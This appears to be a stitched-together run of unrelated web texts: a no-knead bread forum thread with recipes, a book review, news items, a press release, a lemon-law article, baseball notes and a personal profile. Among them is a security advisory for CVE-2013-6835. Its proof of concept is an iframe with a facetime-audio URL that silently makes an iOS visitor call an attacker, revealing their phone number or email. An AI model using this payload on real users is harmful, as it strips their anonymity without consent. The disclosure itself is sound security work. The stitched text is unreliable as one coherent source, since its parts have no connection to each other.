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Success! I used a 4 qt (?) Pyrex casserole that made a perfect boule. I used Clotilde's oiled bowl method instead of the floured towel, and it worked out just fine. I did forget to dust the dish and top with cornmeal before I baked it, but the loaf released just fine, which I was a little worried about (all for nothing). My friends and I managed to restrain ourselves from eating the whole thing, but that was only because we had just finished a great meal of homemade chicken tikka and plaow (green pea pilaf). Shortbread cookies dipped in chocolate were on order for dessert. Here's a pic of the bread
man can live on bread alone
Clearly it is not the lovelorn sufferer who seeks solace in chocolate, but rather the chocolate-deprived individual, who, desperate, seeks in mere love a pale approximation of bittersweet euphoria. Sandra Boynton.
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Posted: Sat Dec 16, 2006 4:48 pm
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Woodstocker--that looks absolutely mouthwatering! (and I love chichen tikka too!!)
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Posted: Sat Dec 16, 2006 8:46 pm
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Thanks David. A couple of my really close friends here at school are Pakistani (Desi), and I've made dinner for them on several occasions, so they repaid with a traditional meal, which was all good with me. Including the fact that I got to keep some of the left over pilaf.
Clearly it is not the lovelorn sufferer who seeks solace in chocolate, but rather the chocolate-deprived individual, who, desperate, seeks in mere love a pale approximation of bittersweet euphoria. Sandra Boynton.
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Location: Leverkusen, Germany
Posted: Sun Dec 17, 2006 1:06 am
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So, my second loaf was a huge success. The dough rested about 48 hours, because I didn't have the time to bake bread the night I originally planned to. Then I used the bowl and olive oil method. I actually liked this one even better... as I said I used 75% white flour and 25% whole wheat. Great mix and probably the one I'll stick to for a while, although I'm keen on experimenting.
I'll make the next one tomorrow morning, since we are invited for a birthday brunch. We'll see how that turns out.
Anyway, pictures of my bread can be found at
Sorry for the bad picture quality, but I have to use my old camera, since our fancy expensive one is broken.
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Posted: Sun Dec 17, 2006 2:12 am
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My next loaf is going to be part whole wheat too. I was reading that people were having luck w/ 1 part ww, 2 parts ap. So I might go with that proportion, unless people think otherwise? When I get home, I'm going to experiement with other flours, probably starting with rye. I was wondering if the high heat would burn sesame seeds if I put them on top. Any ideas?
(Jaffolk, your bread looks good too. Good luck getting your camera fixed.)
Clearly it is not the lovelorn sufferer who seeks solace in chocolate, but rather the chocolate-deprived individual, who, desperate, seeks in mere love a pale approximation of bittersweet euphoria. Sandra Boynton.
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Posted: Mon Dec 18, 2006 6:11 pm
Post subject: Exciting!
I finally got to the no knead bread this weekend. I needed to up the salt as it was a little bland. I used about 1/3 whole what and 2/3 bread flour and that seemed to work well, kind of nutty, but not overly heavy.
Have people been proofing their yeast first? I proofed mine with a little honey and warm water. I can't seem to skip this step. There is something about the bubbling of the yeast that is satisfying and I'm always afraid something is off with my yeast.
The dough rose for about 18 hours and then I tried the flour on kitchen towels, but way too sticky. I'm going to use the greased bowl next time.
I got a great crust, the best I have ever achieved and the crumb was really good. A little springy, but I like that. We ate some bread last night with really good olive oil and sea salt and I had some today for my sandwich. So good.
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Posted: Mon Dec 18, 2006 9:55 pm
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This the first bread with yeast I've ever made (and I have to say the posts in this forum were really helpful). The first time I made it it was a big mess because I used too much water, so the dough stuck everywhere and I lost half of it in the process. I stuck what i could in the oven fearing the worst--but it came out amazingly well. I made a second loaf this weekend using exactly 1 1/2 cups of warm water and the dough was soooooo easy to work with--it didn't stick anywhere. I also used 1/2 cup of whole wheat flour for 1/2 cup of white. My boyfriend (who's a good cook himself) was quite impressed with the results.
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Posted: Tue Dec 19, 2006 7:28 am
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vb lady, I think in one of the articles from NYTimes, Bittman states explicitly that there's no need to proof the yeast. Sam hasn't proofed ever and he's made 5-6 successful loaves.
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Posted: Wed Dec 20, 2006 3:37 pm
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I found it helpful to watch the video and especially to take a look at the consistency of the dough. Mine was too dry first (I think it depends on the type of flour you use) and so I added some more water. First I added too much water (I found out after all was incorporated), then, after adding more flour, the consistency looked o.k. No need to add more yeast, his dough seems to be quite forgiving
And, vb lady, the recipe says instant yeast, not fresh yeast = no proofing necessary (I buy instant yeast in little sealed sachets, so it's guaranteed that the yeast is still o.k.).
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Posted: Thu Aug 02, 2007 11:45 pm
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It's been a long time since we've discussed this bread, but I want to share a recent variation on the theme!
You may know that Sam is the baker in our house. I tried baking once upon a time (well, several times, actually), I was terrible and I didn't care enough to pursue it further. I can happily go weeks without eating bread and, at the time, I lived in Berkeley where there were gourmet bakeries on every other street corner. So When Sam elected to pursue this (because he can't go 4 hours without bread), I was FINE with that! And he is a great baker - stimulated I think by the SCIENCE of baking. He loves tinkering with the ingredients and studying the chemistry behind it.
However, a couple of weeks ago, we had promised to bring bread to a bar-be-que with friends and Sam was not home for 2 days before the dinner - so he goaded me into making the bread. He has created about 20 recipes for no knead bread. I picked one with corn meal & semolina & millet, because I like the crunch. And then at the end I got creative and threw in sun dried tomatoes, chopped olives and pignoli. Much to my delight it turned out quite well and was a big hit at the bar-be-que! And I liked it, too! Enough to make it again.
So, here's my Mediterranean variation of Sam's variation on a theme by Jim Lahey:
- 1 cup polenta or coarse ground corn meal
- 1 cup semolina flour
- 1/2 cup white whole wheat flour
- 1/2 cup bread flour
- 1/4 cup millet
- 1 5/8 cup water
- 1 1/2 teaspoons sea salt or fleur de sel
- 3/4 teaspoon regular dry yeast
- 2 teaspoons gluten
- 2 teaspoons wheat germ
- 1/2 cup (or a little more, if you wish) sun dried tomatoes in olive oil (I just (blithely)included the olive oil, which turns out to be a bit less than 1 tablespoon)
- 1/2 cup chopped black olives - (kalamata or nicoise work well - just not canned black olives!)
- 1/2 cup pignoli - lightly toasted
The directions are the exact same as for any loaf of no knead bread:
Mix all the ingredients together
Cover the bowl and leave in a protected place to rise for 14-18 hours
After it has risen for 14-18 hours and 3 hours before you want to take the finished product out of the oven, take the dough and put it on a floured board, fold it in half 2-3 times and form a boule
Place the boule in a HEAVILY floured cloth - linen or tightly woven cotton - and let it rest undisturbed for 2 hours. Sprinkle the top with coarse ground corn meal, wheat germ or both.
1 1/2 hours after you form the boule, place your pot with lid in the oven and crank it up to 450º F.
After 1/2 hour, take the pot out and carefully roll the dough into the pot. Sprinkle some more corn meal on top, if needed, and cover. Put back in the oven.
After 30 minutes, remove the lid. Continue to bake for 25-30 minutes more. It should be a dark rich color and sound hollow on the bottom when thumped with your fingers.
This was great at a bar-be-que and would be great for any number of other meals - salade nicoise, grilled chicken or fish, grilled lamb.
I am not planning on taking over the bread baking any time soon, Sam's job is safe! But it's good to know that in a pinch, I CAN make a loaf of bread!
L'appetit vient en mangeant. -Rabelais
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Posted: Fri Aug 03, 2007 3:53 am
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I'm always delighted to see this topic reappear, it's so much fun to make this stuff. But wow Donna, I wouldn't have recognized this as Lahey bread (mine contains flourwatersaltyeast--just one ingredient!)
The original contains 1/4 teaspoon yeast, but Sam uses 3/4?
The whole recipe is interesting--is the semolina the grainy Cream of Wheat stuff, or semolina
? This seems to have so much stuff in it that
flour, so it must be very--dense isn't the word--hearty? Coarse? (in a good way!)
Wish my circumstances allowed for more experimenting.
Anyway, this sounds delicious--and soon it will be soup season.
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Posted: Fri Aug 03, 2007 4:30 am
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Gingerpale, I meant to add the word "flour' after semolina. Ooops! I'd better do that now!
And I think he added yeast to support the tomatoes & olives and pine nuts. I think...
It is coarse - in a good way with LOTS of crunch. Which is why it appeals to me. If Sam and I had to exist on bread alone, I would eat the crust and he would eat the inside! A match made in heaven!
Another thing about this recipe is that the bread is a lovely orange-y yellow color when you slice it. It looks like the sun!
L'appetit vient en mangeant. -Rabelais
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[CVE-2013-6835] - iOS 7.0.6 Safari/Facetime-Audio Privacy issue Mar 10 2014 11:50PM
Guillaume Ross (guillaume binaryfactory ca)
- Affected Vendor: https://www.apple.com/
- Affected Software: Safari/Facetime on iOS
- Affected Version: iOS 7 prior to 7.1
- Issue Type: Lack of user confirmation leading to a call being established, revealing the user's identity (phone number or email address)
- Release Date: March 10, 2014
- Discovered by: Guillaume Ross / @gepeto42
- CVE Identifier: CVE-2013-6835
- Issue Status: Vendor has published iOS 7.1 which resolves this issue by adding a prompt before establishing the call.
Facetime allows video calls for iOS. Facetime-Audio, added in iOS 7, allows audio only calls. The audio version uses a vulnerable URL scheme which is not used by Facetime Video.
The URL Scheme used for Facetime-Audio allows a website to establish a Facetime-audio call to the attacker's account, revealing the phone number or email address of the user browsing the site.
By entering the URL in an inline frame, the attack is automated, and similar to a CSRF attack across apps. Safari does not prompt the user before establishing the call.
A user browsing the web could click a malicious link or load a page containing a malicious link within an inline frame. The user would then automatically contact the phone number or email address specified in the URL, revealing his identity to the attacker.
**Proof of Concept**
Entering the following URL in iOS would trigger the call to the email address specified: facetime-audio://user (at) host (dot) com [email concealed]
This inline frame would have the user call the specified email address as soon as the HTML page is loaded, without prompting the user:
<iframe src="facetime-audio://user (at) host (dot) com [email concealed]"></iframe>
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My favorite parts of the book, included the sections where the author gives a brief history of the various abbeys from where she draws her recipes and food, which often included a little gems on the abbey's spirituality and daily routine. I say this mostly because I am a theology teacher who sometimes teaches church history, so this was a nice easy readable book, which I hope to share some parts with my students.
Each recipe highlights one of the Abbey's signature food. So if the Abbey is known for it's beer, as is the case with Saint Benedict Abbey and many other monasteries in Europe, then the recipe will be Creamy Beer Soup, which includes Achel, the beer brewed by the monks at St. Ben's near Achel, Belgium. Likewise if the Abbey is known for its cheese, as is the case with Postel Abbey in Mol, Belgium, then the recipe will include that Postel Cheese; in this case, the recipe was a Flamiche, which is a Belgiam quiche. No worries, the book also highlights several Abbeys in the United States, including Gethsemmani and the cheese for which they are known.
Practical advice about eating and tasting this monastery food is also found in the book. How to enjoy a Trappist brew is just one of those sections, and the author, who calls on the expert beer advice of Tim Webb, describes a pour that is equally important to the enjoyment of the Trappist beer that rivals the pour of Guinness. Also, when tasting cheese she writes, it is best to "start with the mildest and work up to the strongest."
Not devoid of spirituality, Madeline Scherb invites her readers to make the journey to some of these abbeys and not only enjoy the food but also emulate the daily life of the monks and nuns while on the grounds of the Abbey. Make a pilgrimage, "Do consider a retreat even if you're not Catholic; monasteries welcome guests of all faiths" she writes in the section titled "Monastery Etiquette" where other practical advice is given to the unfamiliar monastery visitor such as:
- "Do bring cash or a check to pay for your room, because many guest houses don't accept credit cards."
- "Don't be afraid to leave family and friends behind; the best retreats are spent in solitude and silence."
- "Don't be nervous about attending prayers for the first time"
- "Do feel free to attend prayers. (It's polite to do so before meals.)"
- "Do bring flip-flops for the shower."
Though she was silent about Affligem, my faviorite Belgium Abbey Ale, she covered a nice selection of foods that can be found in the US via certain national specialty stores, online, and Whole Foods. There is even a "shopping guide" that ends the book so you can be certain on where to find the specific food for which you are needing.


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The High Plains (also known as Ogallala) aquifer underlies more than 170,000 square miles of the United States. Aquifers are water storage areas that are made up of bodies of permeable rock that contain and transmit groundwater. The High Plains aquifer serves as the principal source of water for irrigation and drinking in the Great Plains, serving over two million people. However, substantial pumping of the aquifer for irrigation since the 1940s has resulted in large water-table declines.
Depleting aquifers of groundwater can lead to serious consequences as pumping water out of the ground faster than it can be replenished can permanently dry up wells, reduce water in lakes and streams, and deteriorate water quality.
Yet, since 2000, depletion of the High Plains aquifer appears to be continuing at a high rate, with no plans of slowing down. The depletion during the last 8 years of record (2001—2008, inclusive) is about 32 percent of the cumulative depletion in this aquifer during the entire 20th century.
The High Plains aquifer depletion is just one example in a new U.S. Geological Survey study that reveals most of the Nation's aquifers are being depleted at an accelerating rate.
The study, Groundwater Depletion in the United States (1900-2008) comprehensively evaluates long-term depletion volumes in 40 separate US aquifers.
"Groundwater is one of the Nation's most important natural resources. It provides drinking water in both rural and urban communities. It supports irrigation and industry, sustains the flow of streams and rivers, and maintains ecosystems," said Suzette Kimball, acting USGS Director. "Because groundwater systems typically respond slowly to human actions, a long-term perspective is vital to manage this valuable resource in sustainable ways."
The study reports that from 1900 to 2008, the Nation's aquifers, decreased by more than twice the volume of water found in Lake Erie. Also, groundwater depletion in the U.S. in the years 2000-2008 can explain more than 2 percent of the observed global sea-level rise during that period.
While the rate of groundwater depletion across the country has increased markedly since about 1950, the maximum rates have occurred during the most recent period of the study (2000—2008), when the depletion rate averaged almost 25 cubic kilometers per year. For comparison, 9.2 cubic kilometers per year is the historical average calculated over the 1900—2008 timespan of the study.
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SOUTH SAN FRANCISCO, Calif., July 9, 2012 /PRNewswire/ -- Onyx Pharmaceuticals, Inc. (NASDAQ: ONXX) today announced that it has appointed John E. Osborn as Senior Vice President, Global Corporate Affairs. In his role, Mr. Osborn will report to N. Anthony Coles, M.D., President and Chief Executive Officer, and will be responsible for the public and government affairs activities of the company, as well as key stakeholder relationships.
"As a lawyer, policy advocate and former diplomat, John brings a diverse and extensive background to Onyx, with broad experience across the life sciences industry and the U.S. government," said Dr. Coles. "John is a proven leader and his unique expertise aligns well with our plan for global growth as a multi-product company reaching patients around the world."
Prior to joining Onyx, Mr. Osborn was Executive Vice President, General Counsel and Secretary at Dendreon Corporation. Previously, he held similar roles at US Oncology, Inc., where he worked on its merger with McKesson, and at Cephalon, Inc., where he managed legal, public and government affairs during a critical growth period. Mr. Osborn also served with the U.S. Department of State during the George H.W. Bush administration, and in 2008 was confirmed by the Senate as a member of the bipartisan United States Advisory Commission on Public Diplomacy. He has held faculty appointments at Oxford, Princeton and the University of Washington, served on the board of governors of the East-West Center in Hawaii, and examined the peace process in Northern Ireland as an Eisenhower Fellow. Early in his career he clerked for Judge Albert V. Bryan of the U.S. Court of Appeals for the Fourth Circuit, and practiced corporate law in Boston for Hale and Dorr (now WilmerHale). Mr. Osborn received his undergraduate degree in economics and history from the University of Iowa, his law degree from the University of Virginia School of Law, and his master's degree in international public policy from The Johns Hopkins University School of Advanced International Studies.
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Based in South San Francisco, California, Onyx Pharmaceuticals, Inc. is a global biopharmaceutical company engaged in the development and commercialization of innovative therapies for improving the lives of people with cancer. The company is focused on developing novel medicines that target key molecular pathways. For more information about Onyx, visit the company's website at www.onyx.com.
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INTRODUCTION The North Industrial District, or Dogtown, is both one of Los Angeles's oldest and most obscure neighborhoods. It's also occasionally referred to as either Naud Junction or Mission Junction, after two area junctions of the Southern Pacific Railroad, the entity perhaps most instrumental in the neighborhood's development (it's also sometimes referred to as the River Station Area). By the way, this is not the Dogtown neighborhood in Santa Monica, of Dogtown & Z-Boys fame.
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If you don't change the oil in your new car, the engine will explode. I interviewed a retired factory field engineer to hear about how often that happened, and other warranty "problem" stories from the manufacturer's side.
I've known Dave (not his real name!) for more than a decade. He handled claims in a different part of the country from where I practice and somewhere along the line our paths crossed and we became friends, even though my job as a lemon law attorney was kind of the opposite of his. I asked him for some of the more memorable cases from his 30+ years of handling warranty claims for a national manufacturer. I cherry-picked a few he told me about.
A woman filed a claim on the van she owned with her husband, complaining of a noise which no one in the service department could hear. Dave was asked to inspect and report back to the manufacturer. After riding in the van and not being able to hear anything, he pulled the husband aside and asked him if to describe the noise to Dave. The husband lowered his voice, "Man, I ain't heard it either. But she's my wife and I gotta back her up on this one."
Another time, Dave was called when a customer complained about a dealer wrongfully denying warranty coverage for her van. When Dave went to look at the van, he saw that the rear bumper was caved in. He asked her, "How can I help you?"
She pointed at the bumper: "There." She had backed up in a parking lot and had run into the cement base of a light pole. "That should be warrantied." When asked why the manufacturer ought to pay for the damage, she said that the vehicle "was supposed to have five mile per hour bumpers, and I hit it at less than five miles per hour."
Another customer complained when the dealer suggested his crushed roof wasn't covered by warranty. When Dave saw the car, he could still see footprints visible on the hood of the car where someone had jumped on the hood, walked to the roof and jumped up and down on it a few times. The customer said that the damage had occurred while he was in church and his fellow churchgoers were too honest to have done something like that.
One woman came in with a car that was out of warranty but the paint was coming off in sheets. Dave decided it would make sense for the manufacturer to pay for the paint job out of goodwill. She accepted. A few weeks later, Dave stopped by the shop and was told that the job had just been started but the customer's "representative" was there to "talk to him" about the repair. Dave went to the conference room and was greeted by a hulking man who looked like a marine drill instructor – because he was one. He demanded to know why the customer had not been given a rental car and without waiting for an answer, suggested Dave was intentionally mistreating the customer.
A little bothered by the fact that the customer had not asked for a rental – which he would have given her if she had asked – and that the "representative" likewise had not asked, Dave told him. "She never asked for one." Rather than picking up on the hint and simply asking for one, the man leaned in close to Dave's face and began berating him for how poorly he treated his customers. Dave let the man vent and then left. No rental car was given. The free paint job was however, primarily because the job had already begun.
One customer complained about how the warranty claim had been denied on her vehicle's transmission. The car was out of warranty so Dave was called. The dealer told Dave that the woman was a good friend of one of the dealer's employees. The two sat down and the woman launched into a tirade about what a piece of junk the car was and how she was never going to buy another car from that manufacturer ever again. After insulting the manufacturer and its products for a few minutes she caught her breath and demanded that Dave authorize the post-warranty repair.
"Ma'am. Could you give me any solid business reason – after you telling me you would never buy our product again – for me to extend any help to you?"
She had no answer. Dave declined to give her the goodwill repair – which he probably would have given to her if he had thought it might help keep her as a customer. A few days later the husband called the dealership to find out what happened. When he was told the repair was declined he responded, "Don't tell me she opened her mouth?!"
One customer complained that several of the controls in her car were hard to operate and the center console in her vehicle could only be accessed if she unbuckled her seat belt and moved around. Dave got in the car and found that he had no problem working the controls or accessing the console when he sat in it. The customer came back to talk to him and he realized what the problem was: She was substantially, how do we put this, larger than Dave was. This customer had filed a claim with the manufacturer and Dave had to write a report of his findings. After determining that there was nothing wrong with the situation except for the way the client fit into the car, he submitted his report and noted the customer's "girth" as being the primary factor. But it was not a problem covered by warranty.
A short while later, Dave was asked to write an apology letter to the girthy customer who had taken offense for having her girthiness noted in Dave's report. Dave had been careful to not criticize the customer and asked how such a thing could have been addressed otherwise. The proposed language was, "The interior dimensions of the vehicle do not match the exterior dimensions of the customer."
One of the most common things Dave saw was engine failures where the customer had not properly changed the oil – sometimes with cars coming in with their factory-installed oil filters still in place. One customer told him it was a factory-defect and she was certain: Her last two vehicles had the same problem with their lousy engines and for some odd reason the company kept trying to blame her.
Dave told me, "I couldn't even count the number of times – hundreds of times – where people didn't change their oil." One time, another factory representative drove his executive car for 35,000 miles without changing the oil and the engine failed. And on those cars, the oil changes were provided for free. The warranty claim was denied and a dealer was paid retail to replace the engine.
Not all the cars came back in with the factory filters still in place but they often came in at 40 or 50 thousand miles with sludge-filled engines. Because it is theoretically possible for other causes to lead to a sludge problem, dealers routinely ask to see receipts or records for oil changes to prove that they were performed. It was extremely rare for the customer to have evidence of the oil changes. One customer filed a small claims action and brought to court a whiteboard he had filled out with Magic Marker claiming it was how he tracked his extensive oil changes. But he had no receipts. Dave saw engine failures based on failure to change the oil on a weekly basis. If the customer could not come up with evidence of oil changes, the claims were denied.
On the other hand, Dave also routinely overruled adverse decisions when he felt that the manufacturer was at fault, going so far as to call up his superiors and tell them to buy cars back after a lawsuit or an arbitration case had already been filed. "Guys, you don't want me testifying in court on this one. We need to buy this one back."
Dave says he considered himself a customer advocate. When he was asked about the standards he held his decisions to, he referred to his Family, Friends, Neighbor Filter. "If this vehicle was owned by a family member, a neighbor I like, or a friend of mine – somebody I'm going to have to live with for the rest of my life – I want to feel comfortable with the decision based on that criteria. Not somebody that I'll never see again. And that's how I made those decisions."
There are lessons to be learned from my talk with Dave. Change your oil and save your receipts. If your vehicle breaks down out of warranty, appeal to the manufacturer for a goodwill repair. Just don't scream and yell about how much you hate the company – at least, not before you find out if the repair is going to be made.
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Steve Lehto has been practicing law for 23 years, specializing in consumer protection and Michigan lemon law. He wrote The Lemon Law Bible. He also wrote Chrysler's Turbine Car: The Rise and Fall of Detroit's Coolest Creation and The Great American Jet Pack: The Quest for the Ultimate Individual Lift Device. He urges you to consult with an attorney in your state should you have further legal questions.


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HOME COOKIN': Tonight will be the Bisons 31st home game of the season. The team has only completed 13 games on the road (three postponements). After tonight's game, the Bisons will have played 70% of their games this season at Coca-Cola Field.
THE REY TO GO: INF Argenis Reyes enters tonight's game on a seven-game hit streak -tied for the longest by a Bisons player this season. Since May 19, Reyes has averaged .321 (9-28) with two runs scored and five RBI. Reyes has actually reached base in nine straight games for Buffalo, a stretch that goes back to May 17 (.305, 11-36, 4BB).
SECRET VALENTIN: INF Javier Valentin has reached base safely in eight straight games. Since May 18, the veteran has hit .370 (10-27) with two doubles, two home runs, seven RBI, four runs scored and seven walks. Overall, Valentin has failed to reach base in only one of his 11 starts with the Bisons.
IN A PINCH: INF Michel Abreu scored the Bisons lone run last night with a pinch hit home run to lead off the 8th inning. The last Bisons player to hit a pinch hit home run was OF Jason Cooper on July 16, 2006 in Indianapolis. Abreu also had a pinch hit RBI-single in Monday's win and now has three of Buffalo's four pinch hits this season.
F-MART: OF Fernando Martinez got his first major league promotion yesterday and went 0-3 with an RBI-ground out and two strikeouts for the Mets. Martinez left the Bisons as the team leader in virtually every offense category, including average (.291), home runs (8) and RBI (28). Martinez also led the International League with his 25 extra-base hits.


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LOCATION: Oregon, USA
HOMETOWN: Bridgetown!
OCCUPATION: Too many things.
CURRENT CRUSH: Orange.
STATS: Three golden apples high, not much bigger than a breadbox.
BODY MODS: Ryan, Silje, & Brian @ Scapegoat in Portland, OR, Allyson Bennett, James Nonamaker, &other assorted frins who stick me with needles on occasion.
HEROES: Oprah.
GETS ME HOT: The sun, heaters, jalapeños.
FANTASY: To be Batgirl.
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MOST HUMBLING MOMENT: I have them all the time. It's good for you.
MY DIET: Vegan
MY DRUG USE: Drug Free
MY KINK FACTOR: I'm saving myself for Jesus!
MY PIGEONHOLES: Crafty
INTO: Katy Perry's boobs, fruit, good company, walking anywhere &everywhere, cat snugs, the public library, taking photos at inappropriate times.
NOT INTO: Dishonesty, apathy, ignorance.
MAKES ME HAPPY: Serotonin, dopamine, phenylethylamine. ampersands, a fully-stocked kitchen, &sunshine.
MAKES ME SAD: Feeling lost.
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VICES: Miami.
I SPEND MOST OF MY FREE TIME: In a frantic state of confusion. FREE TIME?!
BANDS: Refused, T(I)NC, Ryan Adams, Oasis, Broadway Calls
FILMS: Scott Pilgrim, The Rules of Attraction, Across the Universe, Welcome to the Dollhouse, The Dangerous Lives of Altar Boys
BOOKS: LOTS of cookbooks. SIMON RICH! Douglas Coupland, Vonnegut, Salinger, Eggers, Murakami
TV SHOWS: Nova, Lost, Dexter, Prison Break, Breaking Bad
VIDEO GAMES: Kickle Cubicle, Street Fighter 2, &Donkey Kong Country...I'm not good at anything else!
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Scottish Government agencies in charge of creating jobs and attracting tourists have become the latest to quit business lobbying organisation the CBI after it formally backed a "no" vote in the referendum.
The government in Edinburgh said it would be "clearly inappropriate" for Scottish Enterprise and VisitScotland to carry on their membership after the body registered with the Electoral Commission to campaign against independence.
The two agencies follow broadcaster STV, the Balhousie Care Group and energy company Aquamarine Power in resigning from the CBI.
A Scottish Government spokesman said: "The CBI has registered as a campaign organisation for a 'no' vote in the referendum.
"In these circumstances, it is clearly inappropriate for government agencies to remain in membership of CBI.
"We would expect any other member to follow Scottish Enterprise and resign with immediate effect."
The government also released statements from the two agencies.
Scottish Enterprise said: "In light of CBI Scotland's political decision to register with the Electoral Commission, Scottish Enterprise have had no choice but to immediately resign from the organisation"
A VisitScotland spokesman said: "In the light of the decision of the CBI to register with the Electoral Commission, VisitScotland has decided it is appropriate to withdraw from the organisation."
It emerged on Friday that CBI Scotland, which represents many businesses across the country, had registered with the Electoral Commission, meaning it can spend more than £10,000 on campaigning during the referendum period.
Registering as a campaigner also gives access to the electoral register and the right for representatives to attend postal vote opening sessions, polling stations and the counting of votes.
The confederation faced criticism that its position does not accurately reflect its members' views, and it failed to consult them before formally registering to campaign for the union.
A CBI spokesman said that Scotland and the rest of the UK are "stronger together as part of the union" and its view reflects the "vast majority" of members.
CBI director Iain McMillan gave his views on the implications of independence in an appearance before Holyrood's Economy Committee earlier this month.
He said: "This would not be a land of milk and honey. It would be extremely difficult with many painful decisions to be taken."
Broadcaster STV revealed its decision to quit in a statement on its website.
"STV is a public service broadcaster with a duty of impartiality and as such we have no corporate or editorial position on the independence referendum in September," it said.
"In light of CBI Scotland's decision to register with the Electoral Commission we have no choice but to resign our membership of CBI Scotland forthwith."
Tony Banks, chairman of the Balhousie Care Group, quickly responded to the CBI's position on Friday and said his business will now leave the confederation.
Mr Banks, who is also chairman of the pro-independence group Business for Scotland, said: ''It is abundantly clear that the CBI is not representing its members' views honestly. I am therefore writing to the director-general, John Cridland, today, withdrawing my company membership.''
Martin McAdam, chief executive officer of Aquamarine Power, said there had been no consultation before the CBI decision.
Electrical contractors union Select, which represents 1,250 companies with 18,500 employees, has also demanded the CBI reviews its decision.
While there has been no threat to leave the CBI, the union said the Better Together affiliation does not reflect its views.